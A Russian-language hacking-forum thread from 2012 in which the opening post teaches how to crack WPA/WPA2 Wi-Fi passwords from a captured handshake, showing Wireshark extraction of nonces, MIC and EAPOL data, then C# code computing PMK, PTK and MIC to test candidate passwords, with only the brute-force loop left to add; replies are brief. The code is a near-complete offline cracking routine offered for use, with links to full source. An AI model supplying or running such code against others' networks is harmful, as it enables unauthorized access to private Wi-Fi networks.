Как ломают Wpa2 Ключи

Discussion in 'Безопасность и Анонимность' started by piplnet, 13 Jun 2012.

  1. piplnet

    piplnet Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    17
    Reputations:
    10
    Как производят взлом wpa2 ключей в wifi сетях

    Доброго времени суток ,сегодня решил рассказать Как работает Алгоритм Подбора Паролей Wpa в WI FI сетях :) Надеюсь У вас уже есть хандшейк так что приступим (а если нет или не знаете что это такое то google.ru вам в помощь)Для реализации алгоритма будем использовать Visual Studio 2008


    и весь код писать на c# так что начнем... :D

    Для начала давайте Узнаем какие именно данные нам нужно будет Вытащить из этого самого хандшейка (handshake)
    Для этого скачайте и установите себе снифер Wireshark ссылку на него я выложу в конце статьи ,

    ну я думаю вы уже его установили запускаем снифер
    [​IMG]
    далее идем в меню File > Open и указываем наш фандшейк в результате у нас должно выйти примерно так
    [​IMG]
    отлично двигаемся дальше ,как мы видим здесь целая куча не нужных запросов ,

    давайте их отфильтруем Впишем eapol (так как мы будем работать Толька с этим протоколом)
    [​IMG]

    и нажмем Aplly (то есть применить)

    [​IMG]
    и у нас должно выйти примерно так
    [​IMG]

    как видим все равно еще не понятно с чего же начать,

    а все очень просто как мы видим здесь много повторяющихся Фреймов неудачной аутентификации
    [​IMG]
    вот они то нам и не нужны и смотрим внимательнее
    где идут Фреймы (1\4) (2\4) (3\4)
    [​IMG]


    вот они то нам и Нада а именно первый фрейм и второе
    [​IMG]
    от первого фрейма нам понадобится Толька 32 байтный хеш случайно сгенерированный точкой доступа Nonce
    [​IMG]
    назовем ее anonce

    переходим на второй фрейм (2\4)
    и тоже извлекаем 32-бай случайно сгенерированный ключ клиента Nonce
    [​IMG]

    и назовем его snonce и так мы имеем два 32-байтных случайно сгенерированных ключа от точки доступа и от клиента anonce и snonce
    из этого же фрейма (2\4) получаем WPA Key MIC

    [​IMG]

    и обзовем его TrueMic ТАКЖЕ по нему и будем проверять правильность пароля и также с этого фрейма на понадобиться весь пакет данных
    [​IMG]
    содержащей весь пакет второго рукопожатия
    и обзываем его eapol
    ........

    Также нам нужны будут MAC адреса клиента и точки доступа
    и ESSID точки доступа (то есть ее имя)
    Итак что мы имеем :
    anonce - случайно сгенерированное число точки доступа (32 байта)
    snonce - случайно сгенерированное число клиента (32 байта)
    Truemic - хеш целостности сообщений
    eapol - весь дамп второго фрейма (рукопожатия)
    BSSID - мак адрес точки доступа
    stMac - мак адрес клиента
    ESSID - имя точки доступа
    вот собственно и все что нужно будет вытащить из хандшейка приводить код как эти данные получить я не буду
    здесь вы и сами разберетесь а приступим к самому алгоритму то есть написанию кода

    PHP:
    //------ инициализируем переменные ---------
      // мак точки
        
    byte[] bssid = new byte[] 
       { 
        
    20,0xd6,0x4d,70,0x47,0x26
       
    };

      
    // случайно сгенерированный хеш точки
        
    byte[] anonce = new byte[] 
       { 
        
    0xc9,0x63 ,0xc9, 0xcd,90,0x4c,0xa2,0x2e,0xc3, 
        
    0x90,0xa9,0xe9,0x39,0x99,0xf8,0x3a,0x87,0x77,
        
    0xad, 0xb6, 0xc4, 0x13, 0x52, 0xa7,0xdb, 0xda,
        
    0x99, 0xc5, 0, 0x8b, 0x88, 0x69 
       
    };

      
    // случайно сгенерированный хеш клиента 
        
    byte[] snonce = new byte[] 
       { 
        
    0xf1, 14, 0x63, 0xbc, 0x4f, 0x95, 11, 90,0xf7,
        
    250, 0x4e, 0xec,0xe2, 0x65, 0xa1,0xe7,90,0xef,
        
    170, 0x54,0xad,0x36, 0xe2,0x41,0x41,0x31,0x4e,
        
    0x88, 0x7d, 0x49, 0x4a,0xb5 
       
    }; 
      
    // полный дамп второго фрейма (рукопожатия)
        
    byte[] eapol = new byte[] 
       { 
        
    2, 3, 0, 0x75, 2, 1, 9, 0,0x20, 0, 0, 0, 0,
        
    0,0, 0,1, 0xf1, 14, 0x63, 0xbc, 0x4f, 0x95,11,
        
    90, 0xf7, 250, 0x4e, 0xec, 0xe2,0x65, 0xa1,
        
    0xe7, 90, 0xef, 170, 0x54,0xad, 0x36, 0xe2,
        
    0x41,0x41, 0x31, 0x4e,0x88, 0x7d, 0x49, 0x4a,
        
    0xb5, 0,0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        
    0,0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 
        
    0,0, 30, 0x2f,0xfc, 0xfb,0x29, 170, 0x1f, 0x68,
        
    0xc3, 0x5d, 0xdd,150, 0x98, 0xaf, 160,0x2b, 0,
        
    0x16, 0x30,20, 1, 0,0, 15, 0xac, 2, 1, 0, 0, 15, 
        
    0xac,2, 1, 0, 0, 15,0xac, 2, 0, 0 
       
    };
      
    // мак адрес клиента
        
    byte[] stmac = new byte[] 
       { 
        
    240, 0x7d, 0x68, 0x8e, 0x43, 0xd6 
       
    };

      
    // MiC 
        
    byte[] trueMic = new byte[] 
       {
        
    0x1e,0x2f,0xfc,0xfb,0x29,170,0x1f,0x68,
        
    0xc3, 0x5d, 0xdd, 150, 0x98,0xaf,160,0x2b 
       
    };

      
    // имя сети 
        
    string essid = "MERSEDES"; 


        
    byte[] essid1;
        
    byte[] key1;
        
    HMACMD5 md5;
        
    HMACSHA1 sha1;


    Вычисляем Мастер-ключ pmk (многократно захешированный пароль с использованием имени сети essid).



    PHP:
    //========= Вычисляем PMK ============ 
      
    public byte[] call_pmk(byte[] key, byte[] essid)
        {
         
    int i;
         
    int i1;
         
    int j;
         
    byte[] pmk = new byte[40];
         
    byte[] data = new byte[essid.Length + 4];
         Array.
    Copy(essid, data, essid.Length);
         
    data[essid.Length] = 0;
         
    data[essid.Length + 1] = 0;
         
    data[essid.Length + 2] = 0;
         
    data[essid.Length + 3] = 1;
         
    sha1.Key = key;
         
    sha1.ComputeHash(data);
         
    data = this.sha1.Hash;
      for (
    i = 0; i < 20; i++)
     {
        
    pmk[i] = data[i];
     }
        for (
    i1 = 1; i1 < 0x1000; i1++)
        {
         
    sha1.ComputeHash(data);
         
    data = this.sha1.Hash;
         
    j = 0;
          
          while (
    j < 20)
            {
                
    pmk[j] = (byte)(pmk[j] ^ data[j]);
                
    j++;
            }
        }
        
        
    byte[] data1 = new byte[essid.Length + 4];
        Array.
    Copy(essid, data1, essid.Length);
        
    data1[essid.Length] = 0;
        
    data1[essid.Length + 1] = 0;
        
    data1[essid.Length + 2] = 0;
        
    data1[essid.Length + 3] = 2;
        
    Key = key;
        
    sha1.ComputeHash(data1);
        
    data1 = sha1.Hash;

        for (
    i = 0; i < 20; i++)
        {
            
    pmk[i + 20] = data1[i];
        }

        for (
    i1 = 1; i1 < 0x1000; i1++)
        {
            
    sha1.ComputeHash(data1);
            
    data1 = this.sha1.Hash;

            for (
    j = 0; j < 20; j++)
            {
                
    pmk[j + 20] = (byte)(pmk[j + 20] ^ data1[j]);
            }
        }
        return 
    pmk;
        }



    Зная PMK теперь определяем PTK
    Передаточный ключ PTK (вот с помощью него, а точнее его части происходит вычисление ключа целостности сообщений).



    PHP:
     //============== Вычесляем PTK ==================================
        
    public byte[] call_ptk(byte[] pmk, byte[] pke)
        {
            
    byte[] ptk = new byte[80];
            
    byte[] pmk_tmp = new byte[0x20];
            Array.
    Copy(pmk, 0, pmk_tmp, 0, 0x20);
            
            for (
    int i = 0; i < 4; i++)
            {
                
    pke[0x63] = (byte)i;
                
    sha1.Key = pmk_tmp;
                
    sha1.ComputeHash(pke);
                Array.
    Copy(sha1.Hash, 0, ptk, i * 20, 20);
            }
        return 
    ptk;
        }


    ну вот теперь когда мы знаем хеш PTK мы можем вычислить и сам хеш нашего пароля



    PHP:
     //======= Вычисляем MIC ==============

        
    public byte[] call_mic(int wpa_ver, byte[] ptk, byte[] eapol)
        {
            
    byte[] ptk_tmp = new byte[0x10];
            Array.
    Copy(ptk, 0, ptk_tmp, 0, 0x10);
            
            if (
    wpa_ver == 1)
            {
                
    md5.Key = ptk_tmp;
                
    md5.ComputeHash(eapol);
                return 
    md5.Hash;
            }
            
            
    sha1.Key = ptk_tmp;
            
    sha1.ComputeHash(eapol);
            return 
    this.sha1.Hash;
        }

    Ну и последний шаг проверяем наш пароль на валид


    PHP:
     //============== Проверяем ключ =============================================


        
    public bool Wpa_Key(int wpa_ver, byte[] key1, byte[] essid1, byte[] anonce, byte[] snonce, byte[] bssid, byte[] stmac, byte[] eapol, byte[] truemic)
        {
            
    md5 = new HMACMD5();
            
    sha1 = new HMACSHA1();

            for (
    int i = 0; i < 0x10; i++)
            {
                
    eapol[0x51 + i] = 0;
            }

            
    byte[] pke = new byte[100];
            Array.
    Copy(Encoding.ASCII.GetBytes("Pairwise key expansion"), pke, 0x16);
                if (
    stmac[0] < bssid[0])
                {
                    Array.
    Copy(stmac, 0, pke, 0x17, 6);
                    Array.
    Copy(bssid, 0, pke, 0x1d, 6);
                }
            else
                {
                    Array.
    Copy(bssid, 0, pke, 0x17, 6);
                    Array.
    Copy(stmac, 0, pke, 0x1d, 6);
                }
                
                if (
    snonce[0] < anonce[0])
                {
                    Array.
    Copy(snonce, 0, pke, 0x23, 0x20);
                    Array.
    Copy(anonce, 0, pke, 0x43, 0x20);
                }
            else
                {
                    Array.
    Copy(anonce, 0, pke, 0x23, 0x20);
                    Array.
    Copy(snonce, 0, pke, 0x43, 0x20);
                }

            
    byte[] pmk = this.call_pmk(key1, essid1);
            
    byte[] ptk = this.call_ptk(pmk, pke);
            
    byte[] mic = this.call_mic(wpa_ver, ptk, eapol);
            return 
    truemic.SequenceEqual<byte>(mic);
        }

    вот собственно и весь код осталось Толька добавить цикл и перебирать пароль в цикле но здесь мы этого делать не будем ;)
    Вот собственно таким вот образом и происходит подбор паролей wifi сетей, а на этом я пожалуй и закончу.





    а вот и ссылки:
    Снифер WireShark с офф сайта
    Программа с исходниками
     
    #1 piplnet, 13 Jun 2012
    Last edited: 17 Jun 2012
  2. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    Грамматику поправь хоть немного.
     
  3. AN()NYM()US

    AN()NYM()US New Member

    Joined:
    7 Jun 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    так норм. где ссылки? :)
     
  4. piplnet

    piplnet Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    17
    Reputations:
    10
    добавил